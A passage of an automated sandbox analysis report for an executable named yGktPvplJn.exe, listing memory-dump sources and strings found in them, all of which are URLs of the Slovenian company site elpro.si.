Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/o-podjetju/splosni-prodajni-pogoji/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/piskotki/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podpora/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/analiza-plinov/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/ex/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/kalibracija/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/monitoring/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/nivo/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/prenosno/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/regulacija/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/temperatura/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/podrocje-uporabe/tlak/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 